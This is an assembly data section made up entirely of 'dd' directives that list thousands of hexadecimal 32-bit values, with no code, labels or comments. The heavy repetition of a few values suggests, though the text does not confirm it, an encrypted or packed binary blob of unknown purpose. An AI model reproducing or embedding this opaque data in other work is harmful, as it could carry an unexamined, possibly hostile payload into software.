		dd 0B7989EE9h, 34B9E828h, 0DBC599BDh, 3215662Bh, 4EACD3D2h
		dd 87BB90F5h, 3DD56D02h, 32154AA7h, 32128F11h, 0C8B46688h
		dd 5821F22Dh, 32358F17h, 88756611h, 7F3792DAh, 321A8F25h
		dd 0A67D6622h, 1C426374h, 1CFA1E9Dh, 208A6399h,	1651EF12h
		dd 0DB749A0Dh, 32156683h, 93816265h, 47C27226h,	0F158D2CDh
		dd 32156961h, 0AFBA0A44h, 7B4F2401h, 9D389D1h, 91EBCB93h
		dd 8B730624h, 8C73A2BFh, 0B974299Bh, 82679905h,	219E6942h
		dd 52156622h, 321563F9h
		dd 115DCD88h, 0B34E6BBBh, 5B6179D0h, 0DE960703h, 1611EF8Ch
		dd 3236E64Bh, 0DB756622h, 32156619h, 44B50007h,	0E795E6A1h
		dd 321568CAh, 81191D11h, 814F2A73h, 15774BADh, 69C449A5h
		dd 36F9E770h, 0BB156688h, 0FC9C4270h, 3D4B96ABh, 32156F94h
		dd 0B3730688h, 86177182h, 6547073Ch, 0A3153CAEh, 87FAE790h
		dd 0C579F004h, 66D2E7FDh, 0B32ABC65h, 85EF247h,	0F5942922h
		dd 3A15665Ch, 334A9C98h, 6817654Ah, 0BAA599B1h,	62156622h
		dd 0CA7019A9h, 165157D7h, 0B34F3E40h, 0CA7019D0h, 32138F4Eh
		dd 71056688h, 8079B994h, 3B00F3ABh, 61E060B8h, 32EDDBDDh
		dd 0D99C6644h, 69CD677Fh, 3E6599E9h, 0B3317203h, 32156280h
		dd 0A79C9F22h, 34BC4734h, 321FED87h, 37FC6644h,	55156622h
		dd 904FD3FBh, 60316203h, 0F09484CDh, 32156626h,	3211A490h
		dd 26926688h, 0C7ED3A60h, 163112DDh, 0B331629Ah, 3215624Ch
		dd 38FC0644h, 0A7156622h, 3786440Fh, 0CB830D3Dh, 53E7EDB4h
		dd 5BE563DAh, 521047B1h, 1B409FFBh, 41754B8Ch, 0C23833DBh
		dd 5234C678h, 21FDA302h, 6C156644h, 0D92A31FEh,	0EB239277h
		dd 0AD203D04h, 11811806h, 23FD7CC9h, 0FA156611h, 0B9C5E955h
		dd 514A6D5Bh, 0FABCA9BFh, 0DE452581h, 97439D2h,	9B3443C1h
		dd 65976924h, 52156611h, 3218E687h, 3AFC6644h, 3D156622h
		dd 46F20558h, 53EC27FEh, 36C7E724h, 0B23C84D0h,	9744AC3h
		dd 9B1C730Dh, 19966942h, 3D156622h, 32156495h, 53740688h
		dd 321575ADh, 43743422h, 850142EDh, 7D67DDC8h, 709F29E2h
		dd 0D1CF0959h, 3D1562D3h, 3215670Bh, 3D749344h,	32157CA6h
		dd 269A6911h, 0DB156688h, 3215664Bh, 7AE4551Ah,	96A23E28h
		dd 0B1554918h, 0F5B08EDCh, 0A924226h, 36EA099Ah, 1639E7ACh
		dd 24412387h, 6314AA3h,	0CD4B1D15h, 1ED4428Ch, 36946560h
		dd 8CD73106h, 1639E7E1h, 220326A1h, 1651A1B8h, 65220026h
		dd 16599930h, 1679E78Ch, 0FC17AC40h, 1651E738h,	82386515h
		dd 16499186h, 16419140h, 1651E726h, 82B3C715h, 1679A7B3h
		dd 6EE26540h, 5ED46206h, 0B3126235h, 0D21142CCh, 0C52E7E42h
		dd 0B3114276h, 90114265h, 52D79ABBh, 321568ACh,	9B37AA22h
		dd 932EB294h, 0FD8D9669h, 0DBE4BE3Eh, 3215662Fh, 1F639E75h
		dd 46122231h, 48657312h, 21FC38C1h, 73156611h, 0D2534549h
		dd 0FA8ED47Ah, 0C182760h, 0FB4FA4C4h, 0B3748F19h, 321562A8h
		dd 1619EF22h, 321563A8h, 6BDDEF88h, 321560ADh, 2F495022h
		dd 0DB91D4E0h, 32156685h, 0C1E5E404h, 6508B456h, 217A0C27h
		dd 0F298EB9Ah, 5213CF09h, 0E3959CA9h, 0D3EA070Ch, 0FA9400E8h
		dd 0D99FB544h, 38FC0643h, 60156611h, 15E2B41Eh,	2371A946h
		dd 5A43372Eh, 54BD0DB5h, 96FBE7D6h, 0BB73CE2Fh,	0C31438D3h
		dd 3D4C679Bh, 32156807h, 321C8F44h, 35296622h, 2777FDADh
		dd 0E1569ACh, 569169ADh, 0DB156623h, 3215661Eh,	5A995ED5h
		dd 52CD85B2h, 9DEE42A3h, 524A44A3h, 0CEDBD987h,	3DFD5A25h
		dd 3214E1A6h, 321A8F11h, 0B3916688h, 0B467B624h, 1BF45EDAh
		dd 0A1F8A0D8h, 3D299F36h, 3276E24Bh, 54756622h,	0B51ABC9Ah
		dd 3215668Ah, 0E740724h, 0EF9169EFh, 0DB156610h, 32156698h
		dd 4C134832h, 320CB52h,	15126B11h, 1470311Ah, 0B61A8D78h
		dd 321567D2h, 1CFEE671h, 53745A3Ah, 321576ADh, 0AC2FCC22h
		dd 722CC6DEh, 6505E325h, 4C5ABC57h, 0B41AA53Dh,	3215661Ch
		dd 32156E61h, 907BD444h, 4A5A62B0h, 8D4236D8h, 32156689h
		dd 334A9ECDh, 6A0DECD2h, 0B97306E4h, 53C0D37Ah,	54178AC7h
		dd 83316AABh, 54DE46E1h, 339269D1h, 0C7156644h,	3D959DA2h
		dd 0CDEAC494h, 0B91A0677h, 32156647h, 0B8D3D12Dh, 39FC07F3h
		dd 1D156688h, 5C2AD202h, 76DA0427h, 4D7D7A5Ch, 0BB156695h
		dd 3D4E4270h, 321563A9h, 0B9A70611h, 0DB7D0770h, 0BB15661Fh
		dd 34AF4236h, 33156611h, 21FC3C5Bh, 0DC156644h,	0A7914806h
		dd 0C876A0F6h, 29E154Bh, 1F62298Dh, 0F27DF2D2h,	0BB15664Bh
		dd 30AD428Ch, 33156644h, 6A0D65D2h, 349C6971h, 0B3156688h
		dd 0B77C1F87h, 321D8E1Bh, 61176611h, 330BF4C4h,	6CE0DC6Ch
		dd 32BC8F43h, 0CDE96611h, 69467FEh, 0D14ADF60h,	8F403D70h
		dd 58C75DCEh, 0B358B37Fh, 525948A1h, 0C7942315h, 75D67DA7h
		dd 0DB488DB9h, 32156656h, 5E5FA0EEh, 604FE37Eh,	78C5CE4Dh
		dd 264F2932h, 0C996F47Fh, 0E39169EAh, 0CA156688h, 60E7EF16h
		dd 3BFC3C79h, 8D156611h, 8215B8C4h, 73BE4102h, 3219E92Dh
		dd 0BB1A6611h, 3215668Eh, 3215E34Bh, 0DE946622h, 32156615h
		dd 88317201h, 32156645h, 28169423h, 0BD1A064Bh,	3215668Ah
		dd 0FC9EACCEh, 25AD3643h, 1F476447h, 170056F1h,	0DF30FF69h
		dd 6AD6670Eh, 3210E51Eh, 54756688h, 0DB7497CFh,	0CDEA9845h
		dd 3219E51Eh, 0BF1A6688h, 32156642h, 3215E42Dh,	3BFC6611h
		dd 60156688h, 634E9EABh, 0A7BDD660h, 334BD01Eh,	1CFEE574h
		dd 0CC2CE24Bh, 52E999DDh, 0FCA26947h, 0B37335D7h, 6A499B93h
		dd 32338F43h, 0BB1A6611h, 3215668Fh, 3214E84Bh,	0CEE06622h
		dd 0CC141891h, 0CC18E387h, 0B61A99BBh, 3215662Ah, 11CAE771h
		dd 53037113h, 0CDE97BADh, 3D759FDDh, 0B27599A6h, 53746242h
		dd 37F5EF14h, 32156626h, 0B5118E92h, 0BB49428Ch, 62ED4270h
		dd 361086ABh, 0B1156611h, 36926260h, 3E9C3A60h,	3A7D9F06h
		dd 0BB15661Ah, 3D754294h, 0E59E9EF3h, 338E0E43h, 0E9C6611h
		dd 22FD06ACh, 0AD156644h, 570104CAh, 3C5FFE94h,	0BD12834Fh
		dd 0DA2831BEh, 32156627h, 5BC95E9Ch, 844B3D1Eh,	0F22407B7h
		dd 851A06DAh, 0C59434E7h, 22629376h, 52B9071Dh,	0E46CDF44h
		dd 61479370h, 0E89DA500h, 68C6EE1Fh, 321569CBh,	846A7B11h
		dd 0D5C96899h, 4DE95463h, 0DDF0B93Dh, 3214F879h, 1601EF88h
		dd 0E13596F6h, 32108F78h, 2D8D6611h, 0B2B209F6h, 0B61A16BFh
		dd 321563CDh, 3218E11Eh, 3D756688h, 321566CEh, 0F4940022h
		dd 0E7466AAh, 0DC916987h, 0DB156644h, 32156632h, 9148504h
		dd 36B36454h, 90E201D7h, 6BF60B63h, 0B61A8F2Dh,	32156DE6h
		dd 321572ADh, 4B047D22h, 3C670E29h, 0B2983EB7h,	0F58E19DCh
		dd 94C15CCAh, 3DFE5AA7h, 3205670Ch, 0B9730644h,	0DC9400D2h
		dd 52745899h, 3216E287h, 8D1A6644h, 5371D3FCh, 0B61A852Dh
		dd 32156539h, 0B3EC0624h, 368AACC1h, 0BA1A077Ah, 3215668Ah
		dd 0E743D12h, 479169C0h, 0CE156600h, 6D315277h,	3211A2C5h
		dd 35FC6622h, 4156611h,	0ECA97A67h, 6EA19B4h, 0F6963D06h
		dd 0E19E0615h, 321AE187h, 38FC6644h, 7D156622h,	0C6B39402h
		dd 0E2DBF17Eh, 6EA0774h, 0F6963F06h, 0B31A9F15h, 32156689h
		dd 1621EDBDh, 0B3F2EF75h, 321562D6h, 36D2E788h,	0B5156644h
		dd 0DB49421Eh, 32156602h, 0A354B8A7h, 725727D5h, 41E2E8BEh
		dd 31EFC50Eh, 0F1ED17ADh, 0FD90A1BDh, 3413D651h, 0CE156611h
		dd 3215DFD9h, 0C3146644h, 3E9E7FA8h, 36D1E535h,	32058FE8h
		dd 5B586644h, 0EABC5907h, 5AE2AB67h, 26847C33h,	8D1AD6E6h
		dd 624407D4h, 0D79D38A5h, 18E0E6D0h, 0C795ABBAh, 33F8E619h
		dd 0C795B3E7h, 6BFE46C0h, 0B2EEE6B1h, 0CD27E32Dh, 3EFC99EEh
		dd 8A156688h, 59510BECh, 2F51F945h, 621628B8h, 0CDEA9930h
		dd 6AD367BBh, 0B3730642h, 530CE0D6h, 3213E287h,	0FB946644h
		dd 0A1B89C2h, 3B90ED70h
		dd 5213CF9Bh, 0DBC6D14Bh, 32156633h, 6C86EB2Ch,	350B0647h
		dd 8BDB98FAh, 0A5CBAB45h, 0B37507F7h, 3D0E4E52h, 30936959h
		dd 65156622h, 0A79E074Eh, 34BC782Dh, 3213ED4Bh,	87756622h
		dd 534E34DFh, 62E5EFD8h, 3D753E1Fh, 32157FA9h, 32068E11h
		dd 1D436688h, 66B03C32h, 55C53DEBh, 7200007Bh, 97F38A61h
		dd 64743FECh, 3215609Ch, 0F6FEE711h, 3334DB8Dh,	0F6D6E7B7h
		dd 6C34DB27h, 83E1E671h, 537EA908h, 3217DF15h, 0F3946622h
		dd 63524856h, 0DB949789h, 63524803h, 524C7F21h,	45F7E777h
		dd 0F59E00EAh, 3DCD5D25h, 32155EA0h, 321B8F11h,	353B6688h
		dd 85FDDC4Ah, 322B5896h, 0D3A634C1h, 0E1AA69E8h, 3DCF5D25h
		dd 0CDEB55A4h, 32068FEEh, 0E9116688h, 6E4DEE76h, 694E2C7Dh
		dd 0C309F47Bh, 2D9F0C8Bh, 0C2FEE734h, 0B3261C79h, 60EDAD2h
		dd 0B3EE4FA0h, 60EDAAFh, 0C2D6E70Ah, 0CE261C4Ah, 3213D8DEh
		dd 0C13C6644h, 0B33152A9h, 321562D5h, 35FC9388h, 0B8156644h
		dd 3A4029D5h, 9F738E93h, 321DE787h, 0BF1A6644h,	32156620h
		dd 99730771h, 32157261h, 0AFF40244h, 37546C57h,	0B7000B1Ah
		dd 17527A40h, 70924289h, 0B94636F4h, 0F6944215h, 3215668Ch
		dd 52BE9E1Fh, 321563CAh, 69BA3C11h, 0C74CFBC6h,	36A83325h
		dd 33156622h, 1639EDFFh, 3211A209h, 54756644h, 8D66919Dh
		dd 473921A0h, 1629EFE9h, 32138FB1h, 0E1A36622h,	5D445860h
		dd 3E311201h, 0C6D7E724h, 0B849688Ch, 879C07EFh, 34BC7729h
		dd 3214E94Bh, 3DE06622h, 32157499h, 3E9A6988h, 0DB156644h
		dd 32156625h, 773BA120h, 0B9F3A602h, 0BB454278h, 321163C2h
		dd 36106611h, 0B5156688h, 52494240h, 3217EB2Dh,	13A06611h
		dd 32156A60h, 0FE963244h, 83EC6F4Eh, 3B2FA15Ch,	31AF0007h
		dd 0CD7438A5h, 0B14E4216h, 20FC62D5h, 0EE156688h, 8B17768h
		dd 1989ADEAh, 0CA2B447h, 698F9AD7h, 1621994Fh, 36D1E77Bh
		dd 0CA156611h, 6C315277h, 3211A2C5h, 0DBE06622h, 3215661Fh
		dd 95D71645h, 0DFEC7B90h, 0C880DF9Eh, 0DE945014h, 3215668Ch
		dd 0BB317ACDh, 36D6E7C1h, 0B1156611h, 2E92624Bh, 0DB753A60h
		dd 3215662Eh, 0CE448BBDh, 9DC3678Ch, 8C2EDDE3h,	321574CBh
		dd 43C8211h, 0C68124Ch,	0C7EE7C01h, 220229CBh, 53AB3AF8h
		dd 0CDCA1361h, 3B9969BBh, 52156622h, 329969E8h,	53156688h
		dd 0FD90A1BCh, 3013D651h, 0C7156611h, 1611E7DEh, 2B5D357Bh
		dd 0DAC3779h, 1B0C2E42h, 3DEC3F43h, 52EC68F2h, 3DECB9A2h
		dd 0B274BCA6h, 0B11AE671h, 3215663Ch, 321575CBh, 8B02D811h
		dd 598C9026h, 0B4899E1Eh, 890BCA50h, 0B6024531h, 18F9A509h
		dd 0F9145B93h, 18F9D874h, 0C13C5BC6h, 0E39406D6h, 133581Ch
		dd 33AA3143h, 33156611h, 0DBEC3973h, 32156682h,	321D8E42h
		dd 11846611h, 0ED15359Eh, 0C09EAA58h, 0B373067Bh, 0DBEDFBD8h
		dd 32156680h, 6CD651A0h, 3D44B8DDh, 0BA1A0770h,	32156684h
		dd 29AB0024h, 3293694Ch, 53156611h, 0CDA235EEh,	1A8A8FC4h
		dd 0ADD4E6DBh, 3BFC3D77h, 1F156688h, 3A68603Bh,	477F9218h
		dd 321568F8h, 7F9C7088h, 0ED60A6CBh, 1ACE4C59h,	5A0410D5h
		dd 32153F84h, 883172CDh, 32156622h, 0E39CAC38h,	321D8FD2h
		dd 0DA916644h, 0FC6EE5F3h, 0A57DED3Dh, 0BB156697h, 0CDAB4270h
		dd 13156622h, 0BF1A38E0h, 32156684h, 3213ED4Bh,	0BF1A6622h
		dd 32156611h, 1EFEE770h, 1B34994Fh, 58AD36E9h, 377C4A41h
		dd 3E2901AFh, 6189630Ch, 0F114CAB4h, 0B79E9F49h, 34BC7581h
		dd 32156EADh, 66F8A722h, 54227720h, 9780ED90h, 0CA13CF5Ah
		dd 35D8DBA1h, 3D1460B8h, 32110A0Ch, 33926944h, 0C7156622h
		dd 389E6971h, 0DB156688h, 32156641h, 0A7FE027Bh, 53C5EDD5h
		dd 0B01AA5B1h, 3215620Dh, 53B7D542h, 0B01AB528h, 0CDEA9C54h
		dd 34FD0624h, 0E8156622h, 6DAEAD74h, 3DFC38DBh,	15156644h
		dd 321C636Dh, 3C286E4h,	0F9E7F0BAh, 0CB74D11Ah,	36068F43h
		dd 0BA1A6611h, 3215668Fh, 3214E34Bh, 0F5ED6622h, 8266A994h
		dd 3215648Eh, 0DE949A44h, 32156626h, 0BB315A98h, 6DEEEF7Fh
		dd 0BB1A9324h, 32156635h, 321574F8h, 561EF088h,	0FC8432C9h
		dd 0BCC7F148h, 5923009Ch, 5375C951h, 0C71BD04Bh, 3D959FA2h
		dd 32155992h, 33966988h, 0CA156644h, 39C48DA3h,	0F91445C9h
		dd 39C4D9DFh, 0C914459Ch, 3E92697Dh, 3D156611h,	3215600Bh
		dd 32916944h, 62156622h, 2215D3A9h, 32A14BC7h, 0F1142954h
		dd 51FC937Ah, 0C7156611h, 0BB118A0Bh, 93A14240h, 1AB78AA2h
		dd 0CAE03EF0h, 3215D8DEh, 0FC3C6644h, 1621E774h, 47E46A10h
		dd 33E4E7D1h, 6C609748h, 92AD36DEh, 7A6F5060h, 3215D9DFh
		dd 0F53C6644h, 75D39B5h, 0B7DCE88Eh, 3D4DA7A9h,	321561C7h
		dd 339C6922h, 0C7156611h, 2974DBDDh, 0D93C1058h, 0B3DE4F7Fh
		dd 2E0E07D2h, 0B79E9EFEh, 34BC754Dh, 321EE12Dh,	34FC6611h
		dd 79156688h, 1B1C5AB2h, 9780ED43h, 0CB13CF0Fh,	35D8DB0Bh
		dd 3D1460EDh, 321792A6h, 3D750611h, 32156602h, 53D3ED44h
		dd 0DC940042h, 8D73EC32h, 5374250Fh, 0B01ABE7Fh, 32156668h
		dd 321575F8h, 734C7188h, 855A6FBEh, 0CE654137h,	0BF45EC24h
		dd 9ACCC80h, 0B41AB57Dh, 0CDEA9F76h, 321BE41Eh,	3BFC6688h
		dd 0F5156644h, 4A766A69h, 5321872Ch, 32157761h,	0C1EEFE44h
		dd 2C184733h, 491F617Bh, 0AAE632DFh, 89467E3Ch,	62982A67h
		dd 6AC1A590h, 0C19414C0h, 53E26B4Dh, 0D1D4B5D5h, 0F4FEE712h
		dd 0B324E1A5h, 5184D7AFh, 69CB4F97h, 321FEE1Eh,	3D756688h
		dd 321566C7h, 53740622h, 0FFA43743h, 0FC25323Eh, 0C4F3B61Dh
		dd 70D3E6F4h, 524F9699h, 93C2E332h, 0C99E0050h,	0DA75CC43h
		dd 3215661Ah, 0CD0DC424h, 33707E6Ch, 5428E107h,	0B24CA59Ah
		dd 5A74ED6Eh, 32150CBDh, 89317AABh, 32156611h, 399F9589h
		dd 0EF7D9E1Fh, 0BB156619h, 0B7A34205h, 0C434A808h, 30DBE692h
		dd 0BACF90A2h, 0B81A3CE1h, 32156689h, 77A136B8h, 0EEE3BAD4h
		dd 601682D1h, 0C615813Eh, 6AF4461Eh, 32156FCBh,	5711C611h
		dd 0C28F2D3Dh, 0FA1D8DBFh, 321575CBh, 0EACD4D11h, 217F44B7h
		dd 79098A3Bh, 0D3242221h, 0FECA1671h, 2A9E6922h, 52156644h
		dd 3DFC7190h, 38156611h, 825FF468h, 0F3D636E4h,	0D461B16Fh
		dd 0B37427ACh, 5927334Bh, 60EE4F59h, 59273398h,	68C64F0Ch
		dd 8BA0D6E8h, 61C4E84Bh, 321B8F43h, 84A66611h, 97489FA5h
		dd 7801DF19h, 682F4840h, 3211DE41h, 0D9946688h,	611233C7h
		dd 0F194A50Bh, 61123392h, 321D8FD0h, 5D156644h,	4857656Bh
		dd 0EA241FCCh, 0EA24A5B9h, 3212E64Bh, 0B11A6622h, 32156610h
		dd 38FCCD71h, 0B1156644h, 0F9820F2Dh, 0FC8F079Ch, 0C59406D5h
		dd 704E398Eh, 53DEED44h, 32170E43h, 334F6688h, 0B21A3C92h
		dd 32156633h, 32156AF8h, 650AE188h, 889AA1CCh, 63202B5Dh
		dd 93A0EF85h, 0DB13CF99h, 3215664Eh, 0FF4F28ACh, 85F3F882h
		dd 0B7D215FAh, 34BC6189h, 32156623h, 0F5AA6971h, 597A3533h
		dd 0BB46073Bh, 6DAD36C1h, 1F599654h, 7EE523D3h,	0B14DA545h
		dd 2E9262E1h, 22FC3A35h, 0B9156688h, 7966650Ch,	195D256Ah
		dd 8D474203h, 0CD803402h, 0B34E4270h, 321562E6h, 2B9A6911h
		dd 0DB156688h, 32156650h, 0FD6B1937h, 60132C91h, 0A536C651h
		dd 6BEF9791h, 366F956Ch, 6B3152EEh, 0CE11A20Bh,	374D3214h
		dd 32156626h, 0B511A692h
		dd 5249428Ch, 3210E54Bh, 0B3736622h, 3D2488D3h,	5274A03Fh
		dd 6AF3E722h, 0C0D2E7F4h, 53780520h, 32118A09h,	3E9C6644h
		dd 0B3F4EF06h, 321562D0h, 36D4E588h, 6E316AC3h,	321561CBh
		dd 9528E811h, 0C716AC11h, 32156AADh, 5DA0C722h,	0FAD6EFE5h
		dd 8F019C72h, 0EBB58FF3h, 547599DDh, 2C0C8790h,	0AEAA31E9h
		dd 7D5ADA0Fh, 0D5D4B1D5h, 0CDFAE719h, 1B56D2EBh, 23FC39BAh
		dd 0F5156622h, 0EFF1B792h, 0DC253C3Bh, 268B7722h, 0B71FB713h
		dd 63FCD043h, 0DA9D9300h, 98E93C1Dh, 321C8E42h,	59916611h
		dd 893710AFh, 3D17FA50h, 544FA89Dh, 6474979Ah, 0B1316203h
		dd 0BD1A6280h, 3215662Ch, 32156FF8h, 604E4588h,	0B3AFD758h
		dd 8F4049DCh, 6D162D01h, 1B488E89h, 79054BBCh, 37FC3921h
		dd 1F156611h, 480D510Bh, 36AF3415h, 0BB156622h,	0FA3C3CC0h
		dd 52BE9FD1h, 32156FACh, 383A1C22h, 0CA167902h,	3FFCA307h
		dd 0DB156644h, 96B35D6h, 85472A82h, 0D338C836h,	0C294001Eh
		dd 6774D6B8h, 0F7948398h, 3215668Ch, 111A3C7h, 1E24420Eh
		dd 16395535h, 2D9669D4h, 52156644h, 321572CAh, 149B5B11h
		dd 0A6D4BEA2h, 0FD7B4F68h, 0DE31B252h, 126B5042h, 0DE953E84h
		dd 2E9E0722h, 0D59C3106h, 3211A190h, 0F5966688h, 1629E140h
		dd 0F894067Eh, 19BE48FBh, 53D4EDEEh, 6B3152BBh,	5211A2A1h
		dd 321577F8h, 58D7A388h, 106F1FF7h, 77D16B35h, 0E84017E9h
		dd 0B37361F9h, 53AC15A5h, 6C3152DDh, 5211A292h,	0B132DCE8h
		dd 3BFD1FA8h, 86156622h, 0CD4D1794h, 2F995E0h, 8D1A071Eh
		dd 0BB4307D2h, 36D3E7F7h, 0B1156688h, 0CD436282h, 6C114256h
		dd 6E31629Eh, 32157561h, 87D5A944h, 0D79E009Ah,	0CC7FC992h
		dd 0BEE5534Ah, 1961AC64h, 0CDCEEFCBh, 37FD06EEh, 13156688h
		dd 1B5D677Ah, 2091697Dh, 0DB156611h, 32156685h,	3410ECBCh
		dd 0EB997179h, 0D1D24A9Bh, 0B7D20773h, 34A5158Bh, 32156627h
		dd 0C2AA6971h, 53DEEDEEh, 0F09E0024h, 0CDDAE744h, 1A7D07BCh
		dd 0BB1566AFh, 0C09C4250h, 0DB4FB5ABh, 32156614h, 9FC48CA3h
		dd 36AA3108h, 33156622h, 1629EDEAh, 3D11A20Bh, 321562CBh
		dd 68420622h, 36F9E570h, 8A316201h, 32156644h, 2A169623h
		dd 32018F49h, 0A7E66688h, 0A77DE7F8h, 66685C01h, 0E458E010h
		dd 0B74F300Bh, 0B79EBBC3h, 34BC752Bh, 21FC9E71h, 91156688h
		dd 447551FFh, 5D8A1E87h, 4972212Fh, 728ECC5Ah, 3D74FC7Bh
		dd 321572ABh, 321A8F11h, 48B56688h, 4715EFF7h, 8768D33Dh
		dd 0F2AE18C2h, 9780ED69h, 3D13CF5Ah, 32156FADh,	0C39E0611h
		dd 4F5E7EEh, 3E907B5h, 3E057CCh, 0DC922BFFh, 2473D9E8h
		dd 3D756BD6h, 0BB1A979Dh, 32156611h, 8F9607E9h,	34BC47A5h
		dd 0C3916923h, 0DB156616h, 3215668Eh, 6A195453h, 0B3753CF2h
		dd 327790D7h, 38C0E68Fh, 3DCD5D25h, 32155FA0h, 2C916911h
		dd 52156688h, 321574ADh, 69267C22h, 0C2C89D13h,	0C0A976ECh
		dd 347467CDh, 8AC05F5Dh, 5A5D8030h, 3DCF5DE9h, 3214EEC2h
		dd 359D6922h, 52156611h, 8D1A9503h, 879C078Fh, 34BC7783h
		dd 3212E11Eh, 0BF1A6688h, 32156645h, 32198FDAh,	20376611h
		dd 67001BDDh, 1E5E4162h, 0AF9E5034h, 34A515DEh,	876BD7E8h
		dd 0BD1A07F0h, 3215662Eh, 3213E01Eh, 0BB1A6688h, 32156644h
		dd 3E310AA3h, 6E8F4C90h, 3E313A89h, 1894DD17h, 6E143AB8h
		dd 0DB4E7635h, 32156699h, 0AB303D58h, 0AF1E33DAh, 0BEB87776h
		dd 8E5C2847h, 321E8FB1h, 791B6622h, 0FE4225F4h,	0ADC708h
		dd 35038F53h, 3AFC6622h, 40156611h, 35230C1Fh, 0B9D3E582h
		dd 0BB45421Eh, 321163F1h, 0F2966688h, 1611E140h, 5475067Eh
		dd 22FDA19Ah, 6156688h,	0CD608627h, 0E6CF108Dh,	0AAB95217h
		dd 6A1E7083h, 53C2ED25h, 13F4E3E5h, 321460B8h, 0B41A6688h
		dd 3215664Ch, 0FDA26942h, 53D3ED77h, 321DE887h,	0B11A6644h
		dd 32156620h, 6EA0771h,	0F6963DACh, 3EFD0640h, 40156622h
		dd 0E3594E62h, 0C2176817h, 3DF04037h, 321566A3h, 21FD3F11h
		dd 0FB156688h, 0BA9B81C9h, 1F23B606h, 0B9094A68h, 0E2DEFAE3h
		dd 0B9732233h, 0CD743EF4h, 0B14C4225h, 8075624Ch, 6EA070Ah
		dd 0F6943806h, 32156615h, 32068FE8h, 90C06644h,	208F7BC5h
		dd 9BC3652Ch, 9B814AB9h, 0D6426DD3h, 0FCA26929h, 68413470h
		dd 3211A409h, 0F0966644h, 1601E126h, 3A95694Dh,	52156688h
		dd 4ED189C5h, 0DB74485Bh, 0CDEAB33Bh, 0FFA8E571h, 3313CF43h
		dd 3407E22Dh, 3DFC6611h, 0A0156688h, 6F562D98h,	4341ED5h
		dd 30AB7DDh, 0BE1ACD42h, 32156652h, 3205E12Dh, 39FC6611h
		dd 7156688h, 0CD8C4458h, 22755C1h, 0AF3E9367h, 34BC7581h
		dd 1398EDB1h, 5213CF27h, 0FD9400E8h, 5274E1EAh,	32156EACh
		dd 0A7013422h, 2A1E6C26h, 0AFAE0066h, 37FC3829h, 31156622h
		dd 0D3B7B1AAh, 34FCE7E9h, 33798221h, 34AB30FBh,	33798274h
		dd 0B9753879h, 399F698Fh, 0DB156622h, 32156617h, 0CB6B4738h
		dd 0CE74268Ch, 1B41D874h, 0FC940390h, 6E26C72h,	0B3108085h
		dd 0C5747EC4h, 0CFFBE722h, 330A178Eh, 0CB3C38B5h, 68168FA3h
		dd 3AFC7565h, 4A156688h, 62F64819h, 52127F6Eh, 3214E71Eh
		dd 0DAE96688h, 32156641h, 8B409050h, 0C89E00CDh, 8C4307D3h
		dd 32156641h, 387F8FA3h, 0C33C6CCBh, 387FA709h,	0DB4B6C9Eh
		dd 32156633h, 0B366462h, 39E2F079h, 6B9B80B3h, 307FCD18h
		dd 854637A5h, 11F2E663h, 0DD95B9B2h, 34F2A6E3h,	0BAFC9191h
		dd 0FA9D3D71h, 0BD1A931Dh, 3215662Fh, 0FB2DD71h, 0C2947C3Ch
		dd 0D9D25B4h, 62EDCC43h, 1611ED40h, 6B11A20Bh, 321560ADh
		dd 5F8C4622h, 9905C87Ah, 32157461h, 4E9E2944h, 0A10F8BF5h
		dd 725CBC2Ch, 664E2B95h, 0CE6D8113h, 374D3272h,	32156615h
		dd 0B511A60Bh, 0CB494240h, 65317AA9h, 0F5948198h, 3215668Ch
		dd 3211A1C5h, 0E926622h, 0B9EC3A35h, 0BB454284h, 321163A4h
		dd 0F2966622h, 1611E115h, 0B37306D4h, 0DBAA1896h, 32156625h
		dd 0D4C71988h, 53BCD33Bh, 6C3152BBh, 3D11A2A1h,	32156E92h
		dd 30936988h, 52156644h, 0D29C3643h, 32156214h,	36D5E588h
		dd 0B93162C3h, 0DBE94206h, 0CDEAB0D7h, 32156A61h, 4C0BDF44h
		dd 325F647Ah, 589EBB7Dh, 0B97306EAh, 0B7D20794h, 34A515EDh
		dd 32156613h, 379269E8h, 54156644h, 0D359A1A3h,	694F3046h
		dd 2E9E30E9h, 36D1E560h, 3219E82Dh, 0B01A6611h,	3215668Eh
		dd 3215E34Bh, 39FC6622h, 0AF156611h, 6CF8555Ch,	0A6D771A5h
		dd 841A93F5h, 0CB959F1Fh, 45966908h, 0DB156644h, 32156625h
		dd 51A06B9Fh, 646BD4BBh, 77296FAh, 0FC942068h, 78EA48A9h
		dd 0FC94B07Fh, 64CD0696h, 0F494B8D5h, 5DF75D09h, 334B9589h
		dd 70FEE78Fh, 0C76D6F68h, 6B4E3742h, 3DDEE1C9h,	321561C2h
		dd 33916922h, 0C7156611h, 0B37306E8h, 54316CADh, 9227B6A3h
		dd 67AB3770h, 690E9928h, 32B38F25h, 0B41A6622h,	3215661Ch
		dd 32156E61h, 0D2F56E44h, 3798412Ah, 62479FDEh,	0EAE30B38h
		dd 0F09D0A70h, 68C44E7Ah, 32156EF8h, 0F82C8C88h, 0B42D51E7h
		dd 5B4C0E24h, 0E9C6611h, 3215D9ACh, 0FD3C6644h,	0CA4A9FA5h
		dd 2544DC43h, 0D896426Dh, 9FE7E7BBh, 13318335h,	34FC3CC0h
		dd 0B3156688h, 494E4CBFh, 4CD6E784h, 1B35A61Dh,	0EAAA3143h
		dd 75368720h, 26B881A3h, 0B3526229h, 0E50E5247h, 0F2E2E702h
		dd 1B735131h, 0B01A39EAh
		dd 32156694h, 321A8F24h, 31D66622h, 0FAE6E22Dh,	1041302h
		dd 0DC66DEDCh, 0CEF6E7C5h, 5346D068h, 211CE303h, 0DBE060EDh
		dd 32156632h, 0DFF7BC5Dh, 90B534BFh, 80F1C680h,	0CA9826FBh
		dd 2CB0F39Ah, 54756021h, 0BD1A9ECFh, 32156621h,	53C6D11Eh
		dd 0CDEFE461h, 21FD06BBh, 0D1156622h, 0B604471h, 396BC50Bh
		dd 5184C548h, 7EC77B0Dh, 0F39E5E72h, 53DFEDD2h,	41DAE383h
		dd 32176092h, 64E06611h, 0B1317A03h, 22FC6280h,	91156622h
		dd 0EB5E44F7h, 8A0C61C7h, 0B25FD3Eh, 3D311112h,	807568A7h
		dd 309C69A2h, 64156644h, 0CB950779h, 43966991h,	52156688h
		dd 2E82D822h, 9CD4E744h, 8D4207C5h, 10277597h, 44F981C5h
		dd 7D522850h, 64D18990h, 0DD947F68h, 0E7743975h, 334A9D23h
		dd 25FEE7DAh, 3D0796D4h, 321573C1h, 32058F22h, 1FDF6611h
		dd 0CA13F60Dh, 2966B5FCh, 697A0447h, 0E124E01Fh, 0E124BCB9h
